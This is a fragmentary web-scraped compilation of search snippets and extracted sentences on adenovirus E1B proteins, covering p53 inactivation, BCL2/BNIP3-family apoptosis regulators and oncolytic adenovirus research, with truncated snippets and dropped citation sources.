Tic110 family 1.A.19 Type A influenza virus matrix-2 channel family 1.A.20 BCL2/Adenovirus E1B-interacting protein 3 family 1.A ... HBV-S Protein) Family 1.G.7 The Reovirus FAST Fusion Protein (R-FAST) Family 1.G.8 The Arenavirus Fusion Protein (AV-FP) Family ... Transport proteins, Transmembrane proteins, Protein classification, Biological databases). ... see also SecDF protein-export membrane protein 2.A.7 The Drug/Metabolite Transporter (DMT) Superfamily 2.A.8 The Gluconate:H+ ...
The viral oncoproteins (e.g. Adenovirus E1B) that efficiently inhibit p53 function are unable to inactivate p73, and those that ... p73 is a protein related to the p53 tumor protein. Because of its structural resemblance to p53, it has also been considered a ... p73, also known as tumor protein 73 (TP73), protein was the first identified homologue of the tumor suppressor gene, p53. Like ... A naturally occurring p73 mutation in a p73-p53 double-mutant lung cancer cell line encodes p73α protein with a dominant- ...
E1B proteins produced by adenoviruses protect the infected cell by binding to and degrading the p53 transcription factors, ... Barker DD, Berk AJ (1987). "Adenovirus proteins from both E1B reading frames are required for transformation of rodent cells by ... Barker, Douglas D.; Berk, Arnold J. (1987). "Adenovirus proteins from both E1B reading frames are required for transformation ... and the knob domain of the adenovirus coat protein trimer. CAR is necessary for adenovirus infection. Although expressed widely ...
... binding to mdm-2 and the adenovirus 5 E1B 55-kD protein". Genes Dev. 8 (10): 1235-46. doi:10.1101/gad.8.10.1235. PMID 7926727. ... TATA binding protein, Transcription initiation protein SPT3 homolog, and Transformation/transcription domain-associated protein ... TAF9 RNA polymerase II, TATA box binding protein (TBP)-associated factor, 32kDa, also known as TAF9, is a protein that in ... Lu H, Levine AJ (1995). "Human TAFII31 protein is a transcriptional coactivator of the p53 protein". Proc. Natl. Acad. Sci. U.S ...
"A novel adenovirus E1B19K-binding protein B5 inhibits apoptosis induced by Nip3 by forming a heterodimer through the C-terminal ... "Cloning of a bcl-2 homologue by interaction with adenovirus E1B 19K". Nature. 374 (6524): 731-3. Bibcode:1995Natur.374..731F. ... Bcl-2 homologous antagonist/killer is a protein that in humans is encoded by the BAK1 gene on chromosome 6. The protein encoded ... This protein also interacts with the tumor suppressor P53 after exposure to cell stress. BAK1 is a pro-apoptotic Bcl-2 protein ...
Interestingly, adenovirus has an E1A protein to induce apoptosis by initiating the cell cycle, and an E1B protein to block the ... White E (1998). "Regulation of Apoptosis by Adenovirus E1A and E1B Oncogenes". Seminars in Virology. 8 (6): 505-513. doi: ... proteins, DNA and/or RNA. Namely, viral proteins of herpes simplex virus can degrade host DNA and inhibit host cell DNA ... In most cases, tropism is determined by the ability of the viral surface proteins to fuse or bind to surface receptors of ...
The adenovirus E1B protein (55K) prevents p53 from regulating genes by binding to the site on p53 which binds to the genome. In ... HPV instead degrades p53: the HPV protein E6 binds to a cellular protein called the E6-associated protein (E6-AP, also known as ... DNA oncoviruses typically impair two families of tumor suppressor proteins: tumor proteins p53 and the retinoblastoma proteins ... SV40 uses the same protein for inactivating Rb, LT, to inactivate p53. HPV contains a protein, E7, which can bind to Rb in much ...
It was found that in the absence of the E1B-55Kd viral protein, adenovirus caused very rapid apoptosis of infected, p53(+) ... Retroviruses and adeno-associated viruses have a single protein coating their membrane, while adenoviruses are coated with both ... or by chimeric proteins. Such chimera would consist of those parts of the viral protein necessary for incorporation into the ... entry into potential host cells requires a favorable interaction between a protein on the surface of the virus and a protein on ...
This protein binds specifically to adenovirus E1B-55kDa oncoprotein. It may play an important role in nucleocytoplasmic RNA ... Gabler S, Schutt H, Groitl P, Wolf H, Shenk T, Dobner T (Oct 1998). "E1B 55-kilodalton-associated protein: a cellular protein ... and its function is modulated by E1B-55kDa in adenovirus-infected cells. HNRPUL1 also participates in ATR protein kinase ... 2005). "Protein arginine methylation during lytic adenovirus infection". Biochem. J. 383 (Pt 2): 259-65. doi:10.1042/BJ20040210 ...
... usually refers to one of two proteins transcribed from the E1B gene of the adenovirus: a 55kDa protein ... These two proteins are needed to block apoptosis in adenovirus-infected cells. E1B proteins work to prevent apoptosis that is ... E1B-55k also forms a complex with E4orf6, a viral protein. The E1B-55k/E4orf6 complex in infected cells assembles with other ... However, in adenovirus-infected cells, activated BAK and BAX are sequestered by E1B-19k, preventing the pathway. E1B-55k blocks ...
2002). "Analysis of the Adenovirus E1B-55K-Anchored Proteome Reveals Its Link to Ubiquitination Machinery". J. Virol. 76 (18): ... Cullin-5 is a protein that in humans is encoded by the CUL5 gene. The mammalian gene product was originally discovered by ... Since then, VACM-1 has been shown to be homologous to the Cullin family of proteins, and was subsequently dubbed cul5. Studies ... 2001). "Muf1, a novel Elongin BC-interacting leucine-rich repeat protein that can assemble with Cul5 and Rbx1 to reconstitute a ...
Han J, Sabbatini P, White E (1996). "Induction of apoptosis by human Nbk/Bik, a BH3-containing protein that interacts with E1B ... "A novel adenovirus E1B19K-binding protein B5 inhibits apoptosis induced by Nip3 by forming a heterodimer through the C-terminal ... this protein is suggested as a likely target for antiapoptotic proteins. This protein shares a critical BH3 domain with other ... The protein encoded by this gene is known to interact with cellular and viral survival-promoting proteins, such as BCL2 and the ...
"The adenovirus E1A proteins induce apoptosis, which is inhibited by the E1B 19-kDa and Bcl-2 proteins". Proceedings of the ... Adenovirus protein regulation of viral genes has been studied in adenovirus type-5, or Ad5. Ad5 refers to a specific group of ... Adenovirus early region 1A (E1A) is a gene expressed during adenovirus replication to produce a variety of E1A proteins. It is ... These proteins are functionally important for growth of adenoviruses. The adenovirus early region 1A gene is translated to ...
Bcl-2/adenovirus E1B 19 kDa-interacting protein 2-like protein is a protein that in humans is encoded by the BNIPL gene. BNIPL ... "Entrez Gene: BNIPL BCL2/adenovirus E1B 19kD interacting protein like". Qin W, Hu J, Guo M, Xu J, Li J, Yao G, Zhou X, Jiang H, ... "The apoptosis-associated protein BNIPL interacts with two cell proliferation-related proteins, MIF and GFER". FEBS Letters. 540 ... a human homolog of mitochondrial proapoptotic protein BNIP3". Cancer Research. 59 (3): 533-7. PMID 9973195. Human BNIPL genome ...
... adenovirus e1a proteins MeSH D23. - adenovirus e1b proteins MeSH D23. - antigens, polyomavirus ... adenovirus e1 proteins MeSH D23.050.327.045.060 - adenovirus e2 proteins MeSH D23.050.327.045.070 - adenovirus e3 proteins MeSH ... adenovirus e1a proteins MeSH D23.050.327.062.050 - adenovirus e1b proteins MeSH D23.050.327.062.090 - antigens, polyomavirus ... hiv core protein p24 MeSH D23.050.327.520.330 - hiv envelope protein gp41 MeSH D23.050.327.520.350 - hiv envelope protein gp120 ...
wikigene or wiki gene protein drug chemical gene disease author authorship tracking collaborative publishing evolutionary ... knowledge reputation system wiki2.0 global collaboration genes proteins drugs chemicals diseases compound ...
The adenovirus early region 1A (E1A) proteins were described originally as immortalizing oncoproteins that altered ... Surprisingly, the 243-amino-acid form of adenovirus-5 E1A was found subsequently to reverse-transform many human tumour cells. ... proteins were described originally as immortalizing oncoproteins that altered transcription in rodent cells, but surprisingly, ... The adenovirus E1A proteins induce apoptosis, which is inhibited by the E1B 19-kDa and Bcl-2 proteins.. *L. Rao, M. Debbas, P. ...
Mutant Huntingtin induces activation of the Bcl-2/adenovirus E1B 19-kDa interacting protein (BNip3). Cell Death Dis. 2010;1:e7 ... FUN14 domain-containing protein 1 (FUNDC1), and microtubule-associated protein 1A/1B light chain 3 (LC3B; a binding protein ... Microtubule-associated protein 1 light chain 3 (LC3) interacts with Bnip3 protein to selectively remove endoplasmic reticulum ... two types of apoptotic proteins, function by binding to LC3B (microtubule-associated protein 1A/1B light chain 3B)38-40 or to ...
... results in the inhibition of adenovirus virus-associated (VA) gene transcription in vitro. The involvement of PKC in this ... We report here that activation of protein kinase C (PKC) ... Induction of integrated adenovirus E1A and E1B genes in ... Activation of protein kinase C inhibits adenovirus VA gene transcription in vitro * Calvin B. L. James1, Timothy H. Carter2 ... Datta S., Soong C.-J., Wang D. M., Harter M. L. 1991; A purified adenovirus 289-amino-acid E1A protein activates RNA polymerase ...
BCL2/adenovirus E1B Mr 19kD interacting protein; WAGR, WT, aniridia, genitourinary anomalies, and retardation; RT-PCR, reverse ... These include CRABP2 and heat shock protein Mr 40,000 protein 1 (HSPF1), which may explain their contribution to both tumor ... microfibrillar-associated protein, and metallocarboxypeptidase in the majority of WTs. These proteins may also be potential ... High protein expression of stathmin has been found correlated with general predictive factors in breast cancers (27), and the ...
Clodagh OShea next generation oncolytic adenoviruses for p53-selective tumor therapy ... Thus, it was proposed that ONYX-015, a mutant adenovirus that does not have the E1B-55K protein, would only replicate in tumor ... We recently discovered that even when E1B-55K is no longer present, adenovirus has yet another viral protein that inactivates ... all tumor cells inactivate p53 by mutations and adenovirus encodes a protein called E1B-55K that destroys p53. ...
We use a novel adenovirus mu... Adenovirus E4-ORF3 Targets PIAS3 and Together with E1B-55K Remodels SUMO Interactions in the ... Adenovirus overrides cellular checkpoints for protein translation. × I am not author of this publication. ... homogeneous viral proteins or viral protein complexes. Once viral proteins or complexes are separated fro... ... E1B-55K functions include p53 degradation, RNA export, and host protein shutoff. Here, we show that resistant tumor cell lines ...
... and E1B 55-kilodalton proteins in cell cycle-independent adenovirus replication., J Virol, vol. 73, issue 9, pp. 7474-88, 1999 ... Adenovirus early region 4 34-kilodalton protein directs the nuclear localization of the early region 1B 55-kilodalton protein ... Huntoon, K. M., Y. Wang, C. A. Eppolito, K. W. Barbour, F. G. Berger, P. A. Shrikant, and H. Baumann, The acute phase protein ... Campos, S. K., New structural model of adenoviral cement proteins is not yet concrete., Proc Natl Acad Sci U S A, vol. 111, ...
... induction of apoptosis by adenovirus type 2 (Ad2) early region 4 ORF 4 (E4orf4) correlates with accumulation of E4orf4 in the ... The 19-kilodalton adenovirus E1B transforming protein inhibits programmed cell death and prevents cytolysis by tumor necrosis ... The 19-kilodalton adenovirus E1B transforming protein inhibits programmed cell death and prevents cytolysis by tumor necrosis ... Adenovirus E4orf4 protein reduces phosphorylation of c-Fos and E1A proteins while simultaneously reducing the level of AP-1. J ...
E1B from adenovirus, and E6 from human papilloma virus. Wild type p53 plays a role as a checkpoint protein for DNA damage ... Human recombinant p53 protein was used as immunogen. Wildtype 53 proteins have a very short half-life and are usually not ... p53 is a 53 kDa nuclear phosphoprotein that acts as a tumor suppressor protein, and is involved in inhibiting cell ... A study of stabilisation of p53 protein versus point mutation in colorectal carcinoma. Oncogene. 1994; 9(9):2739-2743. (Clone- ...
Adenovirus E1B Protein E1B Protein, Adenovirus E1B Proteins, Adenovirus Adenovirus E1B 19K Protein - Narrower Concept UI. ... Adenovirus 12 Early Region 1B 19K Protein. Adenovirus E1B 19K Protein. Adenovirus E1B Protein. E1B Protein, Adenovirus. E1B ... Adenovirus E1B Proteins - Preferred Concept UI. M0026555. Scope note. Proteins transcribed from the E1B region of ADENOVIRUSES ... to search ADENOVIRUS E1B PROTEINS 1985-92. History Note:. 93; ADENOVIRUS E1B PROTEIN was SY to ADENOVIRUS EARLY REGION ...
Find and purchase Recombinant Proteins of Cusabio, a manufacturer. Multiple Tags. Great Bioactivity & Reproducibility. 100% ... Recombinant Human adenovirus B serotype 7 Early E1B 9 kDa protein. CSB-YP366165HII. CSB-EP366165HII. CSB-BP366165HII. CSB- ... Recombinant Human adenovirus C serotype 5 Early E3 14.5 kDa protein. CSB-YP366166HIL. CSB-EP366166HIL. CSB-BP366166HIL. CSB- ... Protein FAQs CUSABIOs Five Expression Systems General Information of Different Tags Production of Recombinant Protein How to ...
BCL2/adenovirus E1B 19 kDa protein-interacting protein 3-like. Regulated Protein. BNI3L_HUMAN ... Protein(s) Regulated by This miRNA. Adapter protein CIKS. Regulated Protein. CIKS_HUMAN ... Muscleblind-like protein 1 (MBNL2). Literature-reported Target. Target Info [16] S-phase kinase-associated protein 2 (SKP2). ... Replication protein A 70 kDa DNA-binding subunit. Regulated Protein. RFA1_HUMAN ...
BCL2/adenovirus E1B interacting protein 3; BNIP3L/NIX: BCL2/adenovirus E1B interacting protein 3-like; BCL2L13: BCL2-like 13 ( ... Methods: The recombinant protein CFP10 was encapsulated with PLGA NPs to prepare CFP10-NPs by the classical water-oil-water ... In this study, we hypothesized that intranasal immunization with culture filtrate protein-10 (CFP10)-loaded PLGA NPs (CFP10-NPs ... However, the expression of endoplasmic reticulum stress and apoptosis-related proteins in the lungs of koumiss-treated mice ...
... Klaus Mantwill et al. published a review in Molecular Sciences , ... The E1B region of the adenovirus genome encodes a 55kD protein (E1B55K), which binds and inactivates TP53. Adenoviruses lacking ... Oncolytic adenovirus OBP-301, in which the hTERT promoter regulates both E1A and E1B, and they are connected by an IRES element ... E1B 55K deletion clinical carrier. ONYX-015 (dl1520) is the first oncolytic adenovirus used in clinical trials for the ...
BCL2/adenovirus E1B 19kDa interacting protein 3. 0.037. FCGRT. Fc fragment of IgG, receptor, transporter, alpha. 0.036. ... adaptor protein, phosphotyrosine interaction, PH domain and leucine zipper containing 1. 0.114. ... hydroxyacyl-CoA dehydrogenase/3-ketoacyl-CoA thiolase/enoyl-CoA hydratase (trifunctional protein), beta subunit. 0.014. ...
RefSeq Protein NP_033890 RefSeq DNA NM_009760 Description BCL2/adenovirus E1B interacting protein 3. ... RefSeq Protein NP_058670 RefSeq DNA NM_016974 Description D site albumin promoter binding protein. ... RefSeq Protein NP_666205 RefSeq DNA NM_146093 Description UBX domain protein 1. ... RefSeq Protein NP_067499 RefSeq DNA NM_021524 Description nicotinamide phosphoribosyltransferase. p-Value. q-Value. period. ...
Human adenovirus early region 4 open reading frame 1 genes encode growth-transforming proteins that may be distantly related to ... E4orf1 limits the oncolytic potential of the E1B-55K deletion mutant adenovirus. J Virol (2009) 83(6):2406-16. doi:10.1128/JVI. ... The R1 protein exhibits a long half-life (~20 h), thus R1 protein levels remain relatively constant throughout the cell cycle. ... Adenovirus (Ads). Adenoviruses are non-enveloped double-stranded DNA viruses that replicate in the nucleus of infected cells. ...
Herrmann, C. H., Mathews, M. B. (December 1989) The adenovirus E1B 19-kilodalton protein stimulates gene expression by ... Herrmann, C. H., Su, L. K., Harlow, E. (November 1991) Adenovirus E1A is associated with a serine/threonine protein kinase. ... Buchkovich, K., Dyson, N., Faha, B., Herrmann, C., Hu, Q., Lees, E., Lees, J., McCall, C., Shiff, S. (1991) Cellular Proteins ... Cell cycle regulation of histone H1 kinase activity associated with the adenoviral protein E1A. Science, 253 (5025). pp. 1271-5 ...
Dataset for protein E1B 19K of organism Rhesus adenovirus 52. [Download (right click)] ... gnl,bcl2dbpro,A0A0A1EUC8_E1B19K-01 E1B19K protein OS=[Viruses] Rhesus adenovirus 52 GN=E1B19K (length=168 residues).. ...
Adenovirus E1B 19-kilodalton protein modulates innate immunity through apoptotic mimicry Journal Article. Radke, J. R.; Grigera ...
DNA isolated from biopsy samples and analysed by PCR for adenovirus 12 DNA encoding the E1B-58 kDa protein.. Ad12 DNA found in ... Serum antibodies to synthetic peptides derived from an early E1b protein of Ad12 and A gliadin tested.. Both U-CD and DH had ... Adenovirus similar between cases and controls (adjusted OR 1.41, 95% CI 0.99-2.02). Lower risk for CDA if adenovirus infection ... Monthly stool samples from 3 to 36 mo (n = 2006) screened for adenovirus.. Similar frequency of adenovirus infections in cases ...
BCL2/adenovirus E1B 19 kDa protein-interacting protein 3 [Source:UniProtKB/Swiss-Prot;Acc:Q12983]. homology search. ... Protein NLRC3 (Nucleotide-binding oligomerization domain protein 3)(Caterpiller protein 16.2)(CLR16.2)(CARD15-like protein) [ ... hypothetical protein LOC418325 [Source:RefSeq_peptide;Acc:NP_001025950]. homology search. NP_001026056.1. BCL2/adenovirus E1B ... Ligand of Numb protein X 2 (Numb-binding protein 2)(PDZ domain-containing RING finger protein 1) [Source:UniProtKB/Swiss-Prot; ...
... observed changes in cellular gene expression can be ascribed to well characterized functions of the viral E1A and E1B proteins ... These findings establish that the impact of adenovirus infection on host cell programs is far greater than appreciated hitherto ... Furthermore, they provide a new framework for investigating the molecular functions of viral early proteins and information ... encode several proteins that can perturb cellular mechanisms that regulate cell cycle progression and apoptosis, as well as ...
Such posttranscriptional regulation of viral and cellular gene expression in infected cells requires viral E1B and E4 proteins ... Such posttranscriptional regulation of viral and cellular gene expression in infected cells requires viral E1B and E4 proteins ... Such posttranscriptional regulation of viral and cellular gene expression in infected cells requires viral E1B and E4 proteins ... Such posttranscriptional regulation of viral and cellular gene expression in infected cells requires viral E1B and E4 proteins ...
Gene products such as E1b (from adenovirus), large antigen from SV-virus and E-6 antigen from papillomavirus, which bind to the ... or sequestration of its protein product in the presence of adenoviral E1A protein or E7 protein (in human papilloma virus ... The first discovered tumor suppressor gene was called the retinoblastoma gene (RB1 gene) and its product RB-protein (pRB). It ... Virogenic products such as E1A (adenovirus infection), T121 antigen (from SV virus) or E7 (from human papillomavirus) bind to ...
Bcl-2/adenovirus E1B 19 kDa-interacting protein 3 (BNIP3) expression is epigenetically regulated by one-carbon metabolism in ...
  • BCL2/adenovirus E1B interacting protein 3. (
  • Bax Accelerates programmed cell death by binding to, and antagonizing the apoptosis repressor BCL2 or its adenovirus homolog E1B 19k protein. (
  • Forms heterodimers with BCL2, E1B 19K protein, BCL2L1 isoform Bcl-X(L), MCL1 and A1. (
  • This occurred in 1988 when it was shown that BCL2, the gene responsible for follicular lymphoma, encoded a protein that inhibited cell death. (
  • Some viruses encode the Bcl2 homologues to counter the proapoptotic functions of the cellular and mitochondrial proteins. (
  • In transformed cells, induction of apoptosis by adenovirus type 2 (Ad2) early region 4 ORF 4 (E4orf4) correlates with accumulation of E4orf4 in the cell membrane-cytoskeleton fraction. (
  • The replication of adenovirus in cells activates the TP53-mediated apoptosis pathway. (
  • Apoptosis regulator Bcl-X (Bcl-2-like 1 protein). (
  • Inhibitor of apoptosis protein (IAP) (Inhibitor of T-cell apoptosis protein). (
  • Human adenoviruses, such as serotype 5 (Ad5), encode several proteins that can perturb cellular mechanisms that regulate cell cycle progression and apoptosis, as well as those that mediate mRNA production and translation. (
  • Unlike oncogenes, the proteins encoded by antioncogenes have an antiproliferative effect, promoting differentiation and apoptosis. (
  • Some factors like Fas receptors and caspases promote apoptosis, while some members of the Bcl-2 family of proteins inhibit apoptosis. (
  • Furthermore, they provide a new framework for investigating the molecular functions of viral early proteins and information relevant to the design of conditionally replicating adenoviral vectors. (
  • Tumor promoter alters the temporal program of adenovirus replication in human cells. (
  • The p53 checkpoint normally 'guards' our cells against the pathological replication that occurs in cancer and adenovirus infection. (
  • Viral and cellular oncogenes converge in targeting critical protein interaction networks to reprogram the cellular DNA and protein replication machinery for pathological replication. (
  • mTOR is a critical regulator of protein translation, and plays an important role in controlling cellular replication. (
  • The small DNA tumor viruses encode proteins that subvert many of the pivotal growth regulatory pathways within the cell to facilitate their own replication. (
  • Adenoviral proteins mimic nutrient/growth signals to activate the mTOR pathway for viral replication. (
  • E1 deleted adenoviruses are considered to be replication-defective and are used as shuttle vectors in gene therapy or vaccination for gene therapy and vaccine immunization. (
  • Adenovirus vectors generally have four strategies to achieve conditional replication: E1A specific promoter regulation, E1A CR2 deletion, E1A 13S CR3 deletion and E1B-55K deletion. (
  • Since E1A 13S is essential for the transport of YB-1 from the cytoplasm to the nucleus, adenoviruses lacking E1A13S expression have replication defects in normal cells. (
  • Other small viruses, including human parvovirus ( 4 , 5 ) and human papilloma viruses ( 6 ), encode proteins that can cause already dividing cells to arrest at stages of the cell cycle more favorable for virus replication (i.e. (
  • Numerous research groups including our own have engineered viral genomes to alter expression of viral proteins involved in dNTP synthesis in order to target virus replication specifically to tumors. (
  • Replication of adenovirus type 5 containing the 0.6 kb midkne promoter (Ad5MK) was assessed by the detection of E1 protein in cancer cell lines. (
  • E1a mRNA expression in the treated tumors and expression of the replication-specific adenoviral hexon protein were evaluated. (
  • Induction of integrated adenovirus E1A and E1B genes in transformed human cells by phorbol ester tumor promoters. (
  • The viral E1A and E1B early genes are necessary and sufficient for transformation, and E1A can also transform normal cells in cooperation with other oncogenes, such as activated RAS [ 2 ]. (
  • Viral protein encoding genes are transcribed by the RNA polymerase II transcriptional apparatus of the host, but viral proteins or processes orchestrate the strict temporal sequence in which viral genes are expressed [ 2 ]. (
  • Controls the onset and duration of the resting stage through genes whose transcriptional activity is controlled by its p53 protein. (
  • Similarly, combinations of adenovirus E1A + E1B or human papillomavirus E6 + E7 genes are able to replace T-antigen functions and permit cell proliferation, whereas the individual genes do not. (
  • Bcl-2/adenovirus E1B 19 kDa-interacting protein 3 (BNIP3) expression is epigenetically regulated by one-carbon metabolism in invasive duct cell carcinoma of breast. (
  • Skeletal muscles of collagen VI-knockout (Col6a1(-/-)) mice had impaired autophagic flux, which matched the lower induction of beclin-1 and BCL-2/adenovirus E1B-interacting protein-3 (Bnip3) and the lack of autophagosomes after starvation. (
  • Furthermore, muscle biopsies from subjects with Bethlem myopathy or Ullrich congenital muscular dystrophy had reduced protein amounts of beclin-1 and Bnip3. (
  • The infectious cycle of subgroup C human adenovirus, such as adenovirus type 5 (Ad5), in permissive cells in culture is characterized by a strict temporal program of viral gene expression that culminates in production of large quantities of viral DNA and structural proteins. (
  • The subgroup C human adenoviruses induce selective export of newly synthesized vital mRNA from the nucleus to the cytoplasm, with concomitant inhibition of export of the majority of cellular mRNA species. (
  • Adenovirus is a small DNA virus-little more than a protein coat protecting its genome-that reproduces courtesy of the host cell. (
  • The E1B region of the adenovirus genome encodes a 55kD protein (E1B55K), which binds and inactivates TP53. (
  • To facilitate the investigation of parameters that govern selective export in adenovirus- infected cells, we constructed a marked human β-actin minigene under the control of the glucocorticoid-inducible enhancer-promoter of mouse mammary tumor virus and introduced it into the left end of the adenovirus type 5 (Ad5) genome. (
  • Mitochondria contain a single 16 kb circular DNA genome, which codes for 13 proteins (mostly subunits of respiratory chains I, II, IV, and V), 22 mitochondrial tRNAs and 2 rRNAs [ 25 , 26 ]. (
  • all tumor cells inactivate p53 by mutations and adenovirus encodes a protein called E1B-55K that destroys p53. (
  • The tumor suppressor gene TP53 , which encodes the p53 protein, is a key regulatory factor that monitors DNA damage. (
  • Oncolytic adenovirus is a type of conditionally replicating adenovirus. (
  • In recent years, oncolytic adenovirus therapy has become more and more important as a new type of treatment for various cancers. (
  • In normal non-cancer cells, the oncolytic adenovirus cannot replicate during infection, leaving the cell unaffected. (
  • It is concluded that the level of E1A protein is a critical determinant of oncolytic phenotype and a completely novel strategy for the design and construction of conditionally replicative adenoviruses is proposed. (
  • Midkine promoter-based conditionally replicative adenovirus might be a promising new gene therapy for pancreatic cancer. (
  • For example, a classic strategy is one employed by small DNA viruses such as SV40, which promotes the degradation of the tumor suppressor proteins p53 and pRb, and thus drives entry into S phase. (
  • A0A0A1EUC8_E1B19K-01 E1B19K protein OS=[Viruses] Rhesus adenovirus 52 GN=E1B19K (length=168 residues). (
  • However, it was the demonstration that some human adenoviruses induce tumors in laboratory animals [ 1 ] that greatly increased interest in these viruses and their interactions with host cells. (
  • Employing these viruses for therapeutic purposes was first suggested at the beginning of the 20th century with hepatitis virus being the first to be used for the therapy, followed by Egypt 101 virus, adenovirus, picornavirus and mumps virus. (
  • This review will highlight the major vector platforms that are currently in development (including adenoviruses, reoviruses, vaccinia viruses, herpesviruses, and coxsackieviruses) and how they are combined with checkpoint inhibitors. (
  • Viruses like Herpes simplex virus 1 deplete the host mitochondrial DNA and some, like human immunodeficiency virus, hijack the host mitochondrial proteins to function fully inside the host cell. (
  • 2014) show that adenovirus E4ORF1 activates MYC glycolytic targets to induce a Warburg-like effect that converts glucose into nucleotides f. (
  • [5] Both pathways induce cell death by activating caspases , which are proteases , or enzymes that degrade proteins. (
  • Others modulate the permeability transition pore and either prevent or induce the release of the apoptotic proteins from the mitochondria. (
  • daughter of AQ-1, had a febrile respiratory infection with Human Adenovirus Type 55 cough. (
  • The cell responds to viral infection/proteins by activating the p53 tumor suppressor pathway. (
  • However, a global view of the effects of Ad5 infection on such programs in normal human cells is not available, despite widespread efforts to develop adenoviruses for therapeutic applications. (
  • The results of comparative analyses demonstrate that Ad5 infection induces reversal of the quiescence program and recapitulation of the core serum response, and that only a small subset of the observed changes in cellular gene expression can be ascribed to well characterized functions of the viral E1A and E1B proteins. (
  • These findings establish that the impact of adenovirus infection on host cell programs is far greater than appreciated hitherto. (
  • We therefore conclude that the tripartite leader sequence, long known to facilitate the translation of mRNAs during the late phase of adenovirus infection, can also modulate mRNA export from the nucleus. (
  • Deletion of the RB1 gene , which occurs during the development of hereditary retinoblastoma, or sequestration of its protein product in the presence of adenoviral E1A protein or E7 protein (in human papilloma virus infection) induces unblocking of E2F suppression. (
  • Virogenic products such as E1A (adenovirus infection), T121 antigen (from SV virus) or E7 (from human papillomavirus) bind to Rb and then have a similar effect. (
  • In this study, isobaric tags for relative and absolute quantitation (iTRAQ) coupled with LC-MS/MS was used to screen the differentially expressed proteins (DEPs) in BHK-21 cells infected with E. tenella sporozoites for 24 h post infection. (
  • Again, the E1B-19K gene deletion mutant could increase the inflammatory response to HAdV infection. (
  • A purified adenovirus 289-amino-acid E1A protein activates RNA polymerase III transcription in vitro and alters TFIIIC. (
  • The mutant p53 is overexpressed in a variety of transformed cells and wild-type p53 forms specific complexes with several viral oncogenes including SV40 large T, E1B from adenovirus, and E6 from human papilloma virus. (
  • Adenoviruses lacking E1B-55K will not be able to replicate effectively in cells with normal TP53 function, while they can replicate and lyse killer cells in large numbers in cells with TP53 gene mutation, deletion or inactivation. (
  • Adenoviral transduction efficiency was assessed by fluorescent staining of cancer cell lines using adenovirus type 5 containing the green fluorescent protein gene (Ad5GFP). (
  • Gene products such as E1b (from adenovirus), large antigen from SV-virus an d E-6 antigen from papillomavirus, which bind to the p53 protein, contribute to this. (
  • We recently discovered that even when E1B-55K is no longer present, adenovirus has yet another viral protein that inactivates p53 functions. (
  • Here we show that loss of E1B-55K leads to the induction, but not the activation, of p53 in ONYX-015-infected primary cells. (
  • The adenovirus early region 1A (E1A) proteins were described originally as immortalizing oncoproteins that altered transcription in rodent cells. (
  • What is known of the ways E1A interferes with growth regulation by these and other cellular proteins, such as cyclins and transcription factors, so as to bring about oncogenic transformation is described. (
  • Accelerated onset of viral transcription in adenovirus-infected HeLa cells treated with the tumor promoter 12- O - tetradecanoyl-phorbol-13-acetate. (
  • Enhancement of RNA polymerase III transcription by E1A gene product of adenovirus. (
  • Activation of transcription factor IIIC by adenovirus E1A protein. (
  • Adenovirus E2 promoter can be divided into early and late promoters, used to regulate the E2 transcription unit, the late E2 promoter region contains Y-box, the binding site of transcription factor YB-1 (Y-box binding protein-1). (
  • The switch from early to late transcription in phage GA-1: characterization of the regulatory protein p4G. (
  • Type 5 of Adenovirus infects mainly epithelial cells and causes a mild pathology with flulike symptoms and is mainly used to study the molecular biology of adenoviruses. (
  • With advances in molecular biology informing recent developments in vaccinology, gene therapy, and other fields of medicine, human adenoviruses (HAdVs) have been of primary importance in medical research. (
  • The two most abundant E1A proteins, which are produced by translation of alternatively spliced mRNAs, differ only in the presence in the larger of an internal sequence of 43 amino acids. (
  • Proteins destined to mitochondria have either internally localized [ 28 ] or amino terminal localized [ 21 ] presequences known as mitochondria/matrix localization signals (MLS), which can be 10-80 amino acid long with predominantly positively charged amino acids. (
  • To determine the relative contribution of nuclear E4orf4 versus membrane-associated E4orf4 to cell death signaling, we engineered green fluorescent fusion proteins to target E4orf4 to specific cell compartments. (
  • Not surprisingly, tumor cells and adenoviruses subvert many of the same cellular checkpoints, albeit with one small difference: In tumor cells the key cellular players are targeted via mutations, while adenovirus uses viral proteins to achieve the same end. (
  • Investigation into the mechanisms by which the E1A and E1B gene products transform cells has yielded important insights into the cellular pathways that control cell cycle progression and programmed cell death, in particular the roles of the tumor suppressor proteins Rb (retinoblastoma protein) and p53 [ 3 - 7 ]. (
  • The two pathways both activate initiator caspases, which then activate executioner caspases, which then kill the cell by degrading proteins indiscriminately. (
  • All these processes involve the participation of cellular proteins, mitochondrial proteins, and virus specific proteins. (
  • Thus, it was proposed that ONYX-015, a mutant adenovirus that does not have the E1B-55K protein, would only replicate in tumor cells with a mutant p53 checkpoint. (
  • The deletion of adenovirus E1A CR2 prevents the combination of E1A and pRB, and the virus cannot release E2F in normal cells, nor can it replicate. (
  • The nature of protein kinase c activation by physically defined phospholipid vesicle and diacylgly-cerols. (
  • Protein kinase C contains a pseudosubstrate prototope in its regulatory domain. (
  • B-Raf proto-oncogene serine/threonine-protein kinase (EC (Rmil serine/threonine-protein kinase) (c-Rmil). (
  • Transverse chest CT images demonstrated in- We identified a case of fatal acute respiratory disease creased areas of patchy shadows and consolidation in both from household transmission of human adenovirus type lungs compared to CT images from April 22, indicative of 55 (HAdV-55) in Anhui Province, China. (
  • Surprisingly, the 243-amino-acid form of adenovirus-5 E1A was found subsequently to reverse-transform many human tumour cells. (
  • Human recombinant p53 protein was used as immunogen. (
  • Since the first adenovirus was isolated from human adenoid tissue in 1953, some 50 human serotypes have been identified and associated with various syndromes, including upper respiratory tract infections in young children, acute respiratory disease in military recruits, epidemic keratoconjunctivitis, and gastroenteritis. (
  • Isoform Sigma interacts with BCL2A1 and BCL2L1 isoform Bcl-X(L). 8 isoforms of the human protein are produced by alternative splicing. (
  • To develop a novel therapeutic strategy for human pancreatic cancer using a midkine promoter-based conditionally replicating adenovirus. (
  • We examined midkine mRNA expression and midkine protein expression by seven human pancreatic cancer cell lines (AsPC-1, BxPC-3, CFPAC-1, HPAC, MIAPaCa-2, PANC-1, and Suit-2), as well as by non-cancerous pancreatic tissue and pancreatic cancers. (
  • What is the role of adenoviruses in human health? (
  • Wild type p53 plays a role as a checkpoint protein for DNA damage during the G1/S-phase of the cell cycle. (
  • It was in 2020 that the first adenovirus vaccine gained approval, against the Ebola virus, for use in exceptional circumstances. (
  • Disruption of cell cycle control results in the absence of both alleles of a particular suppressor gene (e.g., deletions), alterations in their structure (e.g., point mutations), or inactivation of the protein encoded by them. (
